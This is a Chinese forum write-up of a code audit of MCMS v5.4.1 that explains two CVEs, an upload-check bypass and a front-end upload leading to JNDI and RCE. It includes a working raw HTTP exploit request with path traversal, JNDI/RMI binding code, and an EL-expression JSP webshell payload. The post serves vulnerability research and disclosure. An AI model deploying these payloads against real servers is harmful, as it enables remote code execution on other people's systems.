[原创]代码审计 - MCMS v5.4.1 0day挖掘-WEB安全-看雪安全社区

[原创]代码审计 - MCMS v5.4.1 0day挖掘

发表于: 2024-12-14 02:18 22289

[原创]代码审计 - MCMS v5.4.1 0day挖掘

ve1kcon

2024-12-14 02:18

22289

> 记一次 MCMS v5.4.1 代码审计，编号为 CVE-2024-42990&CVE-2024-42991。本文由笔者首发于先知社区的技术文章板块：<mark class="encrypted">dbcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5I4y4U0j5K6x3l9`.`.</mark>

## 一、前言

`MingSoft MCMS` 是中国铭飞 (MingSoft) 公司的一个完整开源的 `J2ee` 系统，可以到 Github 下载到源码，官网 <a href="elink@fa4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0K9h3&6Y4M7$3!0X3N6q4)9J5k6h3&6W2N6q4)9J5c8R3`.`.">铭软・铭飞官网・低代码开发平台・免费开源Java Cms</a>

笔者针对 `MCMS v5.4.1` 进行代码审计，发现存在一个后台 `uploadTemplate` 绕过限制上传 jsp 实现 rce，以及一个前台文件上传 rce，本文将对完整的漏洞挖掘与利用思路进行讲解

MCMS 的最新版本已更新到 `5.4.2`，且已对上述漏洞进行了修复

## 二、声明

该文章仅供学习用途使用，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关

## 三、环境搭建

版本：MCMS v5.4.1，<a href="elink@c0cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9h3&6Y4i4K6u0V1M7$3!0X3N6q4)9J5c8V1#2o6e0g2y4Q4x3V1k6J5k6h3I4W2j5i4y4W2M7#2)9J5c8Y4c8S2k6#2)9J5c8U0g2Q4x3X3f1@1i4K6u0W2x3b7`.`.">Release 5.4.1 · ming-soft/MCMS · GitHub</a>

打包成 war，使用 tomcat 搭建

![image-20241207153841296](upload/attach/202412/977497_Z2SDCPFGSKCWWRQ.png)

## 四、后台文件上传 CVE-2024-42990

>  该 CVE 编号已分配，但详细信息尚未公开

在后台找到文件上传的地方

![image-20241207160733298](upload/attach/202412/977497_77Z78PXA6CPVEM7.png)

抓包，找到对应的路由 `/ms-mcms/ms/file/uploadTemplate.do`

上传一个 zip，里面包含着 jsp，会发现他提示

![image-20241207161717939](upload/attach/202412/977497_7574BQT2WZRJX8H.png)

说明他有一个地方在检查我们上传的文件，所以要找到这个地方，查看对应的代码逻辑

最后找到是在 `FileVerifyAop.class`

```java
@Around("uploadPointCut()")
    public Object uploadAop(ProceedingJoinPoint joinPoint) throws Throwable {
        UploadConfigBean bean = (UploadConfigBean)super.getType(joinPoint, UploadConfigBean.class);
        String uploadFileName = FileNameUtil.cleanInvalid(bean.getFile().getOriginalFilename());
        if (StringUtils.isBlank(uploadFileName)) {
            return ResultData.build().error("文件名不能为空!");
        } else {
            InputStream inputStream = bean.getFile().getInputStream();
            String mimeType = BasicUtil.getMimeType(inputStream, uploadFileName);
            if ("zip".equalsIgnoreCase(mimeType)) {
                try {
                    this.checkZip(bean.getFile(), false);
                } catch (Exception var7) {
                    return ResultData.build().error(var7.getMessage());
                }
            }

return joinPoint.proceed();
        }
    }
```

打下断点跟踪一下，判断后缀是 zip 之后会进入 `checkZip` 函数，跟进去看一下

![image-20241207162653900](upload/attach/202412/977497_JPUFME9W4P8ECTU.png)

可以看到他是先解压出来，然后检测每个文件的后缀，如果后缀等于 jsp，就返回 jsp 不可以上传

所以我们需要绕过这个 checkzip。可以看到他进入 check 是需要他得到的后缀为 zip。我们跟进去看看他是如何 `getMimeType` 的

![image-20241207163248472](upload/attach/202412/977497_WVX3AW2QKSWJ2MB.png)

可以发现他返回 `fileType` 之前还获取了 `contentType`，并重新对 `fileType` 进行了赋值，这是否意味着我们可以从这里进行控制返回的 `fileType`？

我们跟进 `parse` 函数

![image-20241207163750987](upload/attach/202412/977497_R4GHFKG7C7626KW.png)

可以发现 type 从这里赋值了，我们进入 `detect` 函数

![image-20241207164036121](upload/attach/202412/977497_RHANRQTQUGWYQ99.png)

type 在这里赋值了，继续跟进 `detect` 函数。这里是一个循环，要进入第二次循环的 `detect`

![image-20241207164308857](upload/attach/202412/977497_GYZ3VBKZP84GP2Y.png)

```java
    public MediaType detect(InputStream input, Metadata metadata) throws IOException {
        List<MimeType> possibleTypes = null;
        if (input != null) {
            input.mark(this.getMinLength());

try {
                byte[] prefix = this.readMagicHeader(input);
                possibleTypes = this.getMimeType(prefix);
            } finally {
                input.reset();
            }
        }

String resourceName = metadata.get("resourceName");
        String name;
        if (resourceName != null) {
            name = null;
            boolean isHttp = false;

try {
                URI uri = new URI(resourceName);
                String scheme = uri.getScheme();
                isHttp = scheme != null && scheme.startsWith("http");
                String path = uri.getPath();
                if (path != null) {
                    int slash = path.lastIndexOf(47);
                    if (slash + 1 < path.length()) {
                        name = path.substring(slash + 1);
                    }
                }
            } catch (URISyntaxException var16) {
                name = resourceName;
            }

if (name != null) {
                MimeType hint = this.getMimeType(name);
                if (!isHttp || !hint.isInterpreted()) {
                    possibleTypes = this.applyHint(possibleTypes, hint);
                }
            }
        }

name = metadata.get("Content-Type");
        if (name != null) {
            try {
                MimeType hint = this.forName(name);
                possibleTypes = this.applyHint(possibleTypes, hint);
            } catch (MimeTypeException var14) {
            }
        }

return possibleTypes != null && !possibleTypes.isEmpty() ? ((MimeType)possibleTypes.get(0)).getType() : MediaType.OCTET_STREAM;
    }
```

这个函数最后返回的就是 `possibleTypes`，所以跟进这个 `getMimeType`

![image-20241207164726273](upload/attach/202412/977497_NEZKVCYVFQ5QRQ8.png)

发现他是通过文件的二进制数据进行判定是什么 type，在 `eval` 函数中通过数据来判别类型，识别完结果是这个

![image-20241207165043610](upload/attach/202412/977497_ERC4TSNDBRNRDUT.png)

这里就可以直接猜测，他识别的是文件头，即在上传的 zip 文件中，添加图片的文件头

![image-20241207165112322](upload/attach/202412/977497_4V3HTB266UJ2NJ7.png)

![image-20241207165139089](upload/attach/202412/977497_WCCJVD4BDG2BJHS.png)

可以看到结果发生了变化，回到起点看看

![image-20241207165231645](upload/attach/202412/977497_2Z6KEH2N4VP3VQZ.png)

![image-20241207165242921](upload/attach/202412/977497_9VKCDWRP4DW5W3B.png)

成功绕过了 `checkzip` 函数，然后尝试压缩一个 jsp 上传看看

![image-20241207165819200](upload/attach/202412/977497_X8NMJBGS648V5ES.png)

发现还是报这个错误，但是和前面的报的不一样，前面是这样的

![image-20241207165902677](upload/attach/202412/977497_WPM9T8R5A9UEM8S.png)

那就继续跟一下，发现是在 `ManageFileAction.class` 的 `uploadTemplate` 路由同样有判断

![image-20241207170044337](upload/attach/202412/977497_97C8AGHUCUDM22C.png)

跟进到这个 `getType` 函数

![image-20241207170359656](upload/attach/202412/977497_GXES578KBZP3BBT.png)

发现好像同样是由二进制数据判定的，那就往 jsp 文件中加入图片头

![image-20241207170447834](upload/attach/202412/977497_B3KMNHBVAS87GGY.png)

然后上传压缩包

![image-20241207170633251](upload/attach/202412/977497_U34J3RXPSPK4FSK.png)

最后访问 jsp 即可

![image-20241207170648781](upload/attach/202412/977497_782CYDUWQAVMPXK.png)

## 五、前台文件上传 CVE-2024-42991

该漏洞源于前端文件上传功能的不当处理，可能导致远程命令执行

### 方式一：上传 xml 修改 jsp 解析后缀

在 MCMS 的历史漏洞中，有一个前台文件上传。具体路由是 `/static/plugins/ueditor/1.4.3.3/jsp/editor.do`

经过开发者的修复，能上传的文件变得很有限，详见 `ueditor` 的 `config.json`

```json
/* 上传文件配置 */
    "fileActionName": "uploadfile", /* controller里,执行上传视频的action名称 */
    "fileFieldName": "upfile", /* 提交的文件表单名称 */
    "filePathFormat": "/ueditor/jsp/upload/file/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */
    "fileUrlPrefix": "", /* 文件访问路径前缀 */
    "fileMaxSize": 51200000, /* 上传大小限制，单位B，默认50MB */
    "fileAllowFiles": [
        ".png", ".jpg", ".jpeg", ".gif", ".bmp",
        ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
        ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid",
        ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",
        ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"
    ], /* 上传文件格式显示 */
```

可以上传 xml 文件

如果环境是 Tomcat，就可以上传 `web.xml` 修改 Tomcat 解析 jsp 的后缀

```xml
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>
```

添加一个 `.png` 什么的，然后就可以 rce 了

如果再深挖一下，不修改 `web.xml`，还有什么方法可以进行 rce 呢？

### 方式二：从 jndi 到 rce

#### 1. 实现 jndi

读过 lvyyevd 师傅的文章 <a href="elink@233K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3I4$3P5i4W2W2N6X3c8Q4x3X3g2U0L8W2)9J5c8X3q4J5j5$3S2A6N6X3g2K6i4K6u0r3N6r3!0E0j5$3q4@1i4@1f1@1i4@1t1^5i4K6S2n7i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1$3i4K6V1$3i4K6R3%4i4@1f1@1i4@1u0n7i4@1t1$3i4@1f1@1i4@1t1^5i4K6S2m8i4@1f1@1i4@1u0o6i4@1p5H3M7X3y4W2i4@1f1#2i4@1p5%4i4@1u0r3i4@1f1#2i4K6S2m8i4@1u0r3">tomcat下的文件上传RCE姿势 </a>，我们可以知道，能通过上传 xml 来实现 jndi

![image-20241207174605220](upload/attach/202412/977497_K5J295MKCQ83MRV.png)

`hostConfigBase` 下的 xml 文件都会被 `digester` 解析一遍。也就是说我们可以把 xml 文件上传到 `hostConfigBase`。最后上传的目录为 `\conf\Catalina\localhost`

xml 格式

```xml
<?xml version='1.0' encoding='utf-8'?>
<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="rmi://localhost:1099/remoteobj"
             autoCommit="true"></Manager>
</Context>
```

上传的 Post 请求，其中 url 解码完是 `{filePathFormat:'/{.}./{.}./{.}.//conf/Catalina/localhost/8'}`

```http
POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%38%27%7d&action=uploadfile  HTTP/1.1
Host: 127.0.0.1:8079
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 431
Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X_Requested_With: UTF-8

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.xml"

<?xml version='1.0' encoding='utf-8'?>
<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="rmi://localhost:1099/remoteobj"
             autoCommit="true"></Manager>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

```

本地启一个 rmi 服务，为 jndi 做准备

rmiserver

```java
public class RMIServe {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        Person person=new Person();
        Registry registry= LocateRegistry.createRegistry(1099);
        registry.bind("person",person);
    }
}
```

jndi 绑定对象

```java
public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        Reference reference = new Reference("Test","Test","http://localhost:7777/");
        initialContext.rebind("rmi://localhost:1099/IMperson",reference);
    }
```

本地 Test 对象，就随便拿了一个弹计算器的对象。

```java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() {
    }

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}
```

在 class 对象中启一个 python 的 http 服务

上传文件，查看是否有 http 访问，发现并没有

![image-20241208111059966](upload/attach/202412/977497_W8CAM4N3U7J89BN.png)

查看发现，是 jdk 版本太高的原因导致

![image-20241208111153301](upload/attach/202412/977497_HKZ9ZH58V7NBU89.png)

那就顺带做一个绕过

#### 2. 实现 rce

jdk 版本高用的是 `beanfactory`，第一个想到的是 Tomcat 自带的依赖 `org.apache.naming.factory.BeanFactory` 中的 Reference 的 `forceString` 属性，再配合 `ELProcessor` 就能完成 rce。但当笔者实际实施的时候，发现还是不能成功，经过调试，发现笔者当前的 tomcat 版本好像移除了 `forceString` 属性，查看具体的代码。

![image-20241208112222237](upload/attach/202412/977497_E4D8AA27D96F32F.png)

那还有什么其他的方法吗？浅蓝师傅总结了很多其他的 jndi 注入方法，翻一翻，发现 xxe 到 rce 的一个方法

其中的 `org.apache.catalina.users.MemoryUserDatabaseFactory` 会根据 `pathname` 去发起本地或者远程文件访问，并使用 `commons-digester` 解析返回的 XML 内容，所以这里可以 XXE

具体原理可以查看浅蓝师傅写的文章 <a href="elink@fe8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1N6s2c8S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0r3x3e0b7H3y4g2)9J5c8W2)9J5x3%4c8G2j5#2)9#2k6Y4N6W2j5Y4y4Z5k6h3I4D9">探索高版本 JDK 下 JNDI 漏洞的利用方法</a>，这里直接给出做法

首先要准备一个文件 `test.jsp`，文件内容如下

```jsp
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>
```

然后 rmi 服务

jndi 绑定对象

```java
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;

public class mcms {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        ResourceRef ref = tomcatWriteFile();
        initialContext.rebind("rmi://localhost:1099/remoteobj",ref);
    }
    private static ResourceRef tomcatWriteFile() {
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));
        return ref;
    }
}

```

找一个地方，创建 webapps 和 ROOT 目录，里面放上面的 `test.jsp`

![image-20241208113612023](upload/attach/202412/977497_CXJJ635ZRUC2RSY.png)

在 webapps 上级目录也就是上图的 mcms 目录下启动一个 http 服务，8888 端口。启动 rmi 服务，运行绑定对象

上传 xml 文件。同样是上面的 Post，不出意外会得到

![image-20241208113741263](upload/attach/202412/977497_WEWBAGFCCPUB5BC.png)

test.jsp 就写进到 ROOT 目录了，查看 test.jsp

![image-20241208113843125](upload/attach/202412/977497_FUZ7MFJKUVBR5FD.png)

发现好像编码了，调试 tomcat 代码，发现 tomcat 版本高了，会对 xml 进行编码

![image-20241208113920509](upload/attach/202412/977497_UTPQHWZ7HUHADD4.png)

最后，将 test.jsp 的执行换成了 el 表达式

```jsp
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="${pageContext.request.getClass().forName(param.n).getMethod(param.m).invoke(null).exec(param.code)}"/>
</tomcat-users>
```

重新执行上述流程

得到新的 jsp

![image-20241208114137731](upload/attach/202412/977497_BE7QBAYFZ3DQUEG.png)

加入参数 `n=java.lang.Runtime&m=getRuntime&code=calc`，成功 rce

![image-20241208114310283](upload/attach/202412/977497_GR66UQZ4W6QQHX9.png)

回复或点赞可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

#审计 #漏洞

收藏・5

点赞・48

打赏

赞赏记录

参与人

雪币

留言

时间

mb_dvqqrcce

感谢你的积极参与，期待更多精彩内容！

2026-9-11 17:02

mb_skeaunhf

谢谢你的细致分析，受益匪浅！

2026-9-6 22:47

mb_lthgjpwj

为你点赞！

2026-8-21 10:00

wx_晨梦

期待更多优质内容的分享，论坛有你更精彩！

2026-7-16 08:01

afishlong

为你点赞！

2026-7-14 18:42

MioMio

非常支持你的观点！

2026-7-5 17:18

wjdidi

非常支持你的观点！

2026-5-7 02:53

npc0vo

你的帖子非常有用，感谢分享！

2026-4-25 21:48

Xasvvx

谢谢你的细致分析，受益匪浅！

2026-1-26 11:02

git_39918alloneis

为你点赞！

2025-12-9 10:44

STRChen

感谢你分享这么好的资源！

2025-12-3 16:55

Hutt0n0

你的分享对大家帮助很大，非常感谢！

2025-9-2 18:51

PLEBFE

为你点赞！

2025-7-8 04:56

不可思议BK

感谢你的积极参与，期待更多精彩内容！

2025-7-4 10:58

git_17457R3dG0ld

你的帖子非常有用，感谢分享！

2025-6-12 14:55

coreofthesun

这个讨论对我很有帮助，谢谢！

2025-5-21 13:06

mb_ajlypcsc

感谢你的积极参与，期待更多精彩内容！

2025-5-9 14:18

mb_qapgbtyk

这个讨论对我很有帮助，谢谢！

2025-3-19 20:05

superwudibie

你的帖子非常有用，感谢分享！

2025-3-17 16:59

mb_rduhvggi

你的帖子非常有用，感谢分享！

2025-3-13 14:17

git_62242shesaidIamnot

感谢你的贡献，论坛因你而更加精彩！

2025-3-10 09:14

带带土鸡蛋

谢谢你的细致分析，受益匪浅！

2025-3-7 19:39

mb_bnrfbqhz

期待更多优质内容的分享，论坛有你更精彩！

2025-3-4 17:13

mb_jesifwje

为你点赞！

2025-3-4 09:22

mb_lqwuvlbr

为你点赞！

2025-3-3 22:20

mb_ysgltnnd

为你点赞！

2025-2-28 10:11

mb_bcthmgyl

感谢你的贡献，论坛因你而更加精彩！

2025-2-27 11:18

MMD_DYOR

为你点赞！

2025-2-25 14:25

mb_rwzwwpwd

感谢你的贡献，论坛因你而更加精彩！

2025-2-23 01:45

mb_ahswnczh

为你点赞！

2025-2-20 21:54

mb_yiodgfrx

谢谢你的细致分析，受益匪浅！

2025-2-19 11:20

wx_懒懒的风

非常支持你的观点！

2025-2-11 11:18

mb_afcgnaur

感谢你的贡献，论坛因你而更加精彩！

2025-1-16 18:40

saloyun

为你点赞！

2024-12-28 16:42

益清

+10

为你点赞！

2024-12-25 19:01

天水姜伯约

感谢你的积极参与，期待更多精彩内容！

2024-12-25 11:27

mb_nkekrzwt

感谢你分享这么好的资源！

2024-12-24 11:24

mychanges

非常支持你的观点！

2024-12-24 09:40

北门观雪

为你点赞！

2024-12-19 16:21

mb_rdqnhwwv

你的分享对大家帮助很大，非常感谢！

2024-12-19 15:29

wx_Dispa1r

非常支持你的观点！

2024-12-18 16:08

Artiver

为你点赞！

2024-12-18 09:37

echo0d

为你点赞！

2024-12-17 13:53

米龙·0xFFFE

谢谢你的细致分析，受益匪浅！

2024-12-15 17:37

墨穹呢

感谢你的贡献，论坛因你而更加精彩！

2024-12-15 15:02

调料包

为你点赞！

2024-12-15 10:07

comewhere

感谢你的贡献，论坛因你而更加精彩！

2024-12-14 09:54

huangyalei

谢谢你的细致分析，受益匪浅！

2024-12-14 07:01

打赏 + 1.00雪花

益清

打赏次数 1

雪花 + 1.00

益清

+1.00

2024/12/25

感谢分享～

最新回复 (23)
墨穹呢雪币： 4706 活跃值： (8127) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 224 粉丝 18 关注私信	墨穹呢 2 楼感谢分享 2024-12-15 15:02 0
会飞的锅雪币： 26069 活跃值： (3067) 能力值： ( LV2，RANK：10 ) 在线值：发帖 6 回帖 98 粉丝 1 关注私信	会飞的锅 3 楼感谢分享 2024-12-18 15:43 0
mb_ygxdlbdi 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 21 粉丝 0 关注私信	mb_ygxdlbdi 4 楼感谢分享 2024-12-19 10:10 0
wx_码农雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 7 粉丝 1 关注私信	wx_码农 5 楼感谢分享 2024-12-23 15:02 0
mb_kdyaokdn 雪币： 234 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	mb_kdyaokdn 6 楼感谢分享 2024-12-24 09:24 0
益清雪币： 384 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	益清 7 楼 2024-12-25 19:00 0
蹲个技术大牛雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 4 粉丝 0 关注私信	蹲个技术大牛 8 楼有没有大哥级别的 2024-12-29 03:47 0
那就去个名字雪币： 202 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	那就去个名字 9 楼感谢分享 2025-1-13 13:17 0
Bonquer 雪币： 32 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 70 粉丝 1 关注私信	Bonquer 10 楼 666 2025-1-13 18:21 1
mb_xybcazha 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_xybcazha 11 楼 666 2025-3-5 11:10 0
mb_xhdtgwgs 雪币： 223 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_xhdtgwgs 12 楼 11 2025-3-5 11:40 0
胡哥com 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	胡哥com 13 楼 11 2025-3-9 10:07 0
mb_puibdjhp 雪币： 1 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_puibdjhp 14 楼学习到了 2025-5-8 09:11 0
mb_ajlypcsc 雪币： 15 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_ajlypcsc 15 楼学到了 2025-5-9 14:18 0
git_32006ban-boop 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	git_32006ban-boop 16 楼 1 2025-5-28 15:24 0
Dvive 雪币： 0 活跃值： (70) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	Dvive 17 楼写的很详细 2025-7-13 02:50 0
STRChen 雪币： 269 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	STRChen 18 楼学习 2025-12-3 17:09 0
mb_irrqcmsq 雪币： 280 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 60 粉丝 0 关注私信	mb_irrqcmsq 19 楼谢谢，太厉害了 2026-5-28 10:26 0
孤独灬剑客雪币： 196 活跃值： (844) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 15 粉丝 1 关注私信	孤独灬剑客 20 楼 666 2026-5-28 16:02 0
lbunknow 雪币： 24 活跃值： (657) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 54 粉丝 0 关注私信	lbunknow 21 楼大佬 2026-6-3 13:05 0
XCicada 雪币： 3085 活跃值： (2680) 能力值： ( LV6，RANK：80 ) 在线值：发帖 3 回帖 323 粉丝 101 关注私信	XCicada 2 22 楼感谢 2026-6-3 14:10 1
beyondjing 雪币： 215 活跃值： (316) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 14 粉丝 0 关注私信	beyondjing 23 楼大佬666 2026-6-29 23:12 0
mb_culcxnxa 雪币： 180 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_culcxnxa 24 楼感谢分享 2026-7-25 14:45 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

ve1kcon

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (23)
墨穹呢雪币： 4706 活跃值： (8127) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 224 粉丝 18 关注私信	墨穹呢 2 楼感谢分享 2024-12-15 15:02 0
会飞的锅雪币： 26069 活跃值： (3067) 能力值： ( LV2，RANK：10 ) 在线值：发帖 6 回帖 98 粉丝 1 关注私信	会飞的锅 3 楼感谢分享 2024-12-18 15:43 0
mb_ygxdlbdi 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 21 粉丝 0 关注私信	mb_ygxdlbdi 4 楼感谢分享 2024-12-19 10:10 0
wx_码农雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 7 粉丝 1 关注私信	wx_码农 5 楼感谢分享 2024-12-23 15:02 0
mb_kdyaokdn 雪币： 234 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	mb_kdyaokdn 6 楼感谢分享 2024-12-24 09:24 0
益清雪币： 384 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	益清 7 楼 2024-12-25 19:00 0
蹲个技术大牛雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 4 粉丝 0 关注私信	蹲个技术大牛 8 楼有没有大哥级别的 2024-12-29 03:47 0
那就去个名字雪币： 202 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	那就去个名字 9 楼感谢分享 2025-1-13 13:17 0
Bonquer 雪币： 32 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 70 粉丝 1 关注私信	Bonquer 10 楼 666 2025-1-13 18:21 1
mb_xybcazha 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_xybcazha 11 楼 666 2025-3-5 11:10 0
mb_xhdtgwgs 雪币： 223 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_xhdtgwgs 12 楼 11 2025-3-5 11:40 0
胡哥com 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	胡哥com 13 楼 11 2025-3-9 10:07 0
mb_puibdjhp 雪币： 1 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_puibdjhp 14 楼学习到了 2025-5-8 09:11 0
mb_ajlypcsc 雪币： 15 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_ajlypcsc 15 楼学到了 2025-5-9 14:18 0
git_32006ban-boop 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	git_32006ban-boop 16 楼 1 2025-5-28 15:24 0
Dvive 雪币： 0 活跃值： (70) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	Dvive 17 楼写的很详细 2025-7-13 02:50 0
STRChen 雪币： 269 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	STRChen 18 楼学习 2025-12-3 17:09 0
mb_irrqcmsq 雪币： 280 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 60 粉丝 0 关注私信	mb_irrqcmsq 19 楼谢谢，太厉害了 2026-5-28 10:26 0
孤独灬剑客雪币： 196 活跃值： (844) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 15 粉丝 1 关注私信	孤独灬剑客 20 楼 666 2026-5-28 16:02 0
lbunknow 雪币： 24 活跃值： (657) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 54 粉丝 0 关注私信	lbunknow 21 楼大佬 2026-6-3 13:05 0
XCicada 雪币： 3085 活跃值： (2680) 能力值： ( LV6，RANK：80 ) 在线值：发帖 3 回帖 323 粉丝 101 关注私信	XCicada 2 22 楼感谢 2026-6-3 14:10 1
beyondjing 雪币： 215 活跃值： (316) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 14 粉丝 0 关注私信	beyondjing 23 楼大佬666 2026-6-29 23:12 0
mb_culcxnxa 雪币： 180 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_culcxnxa 24 楼感谢分享 2026-7-25 14:45 0
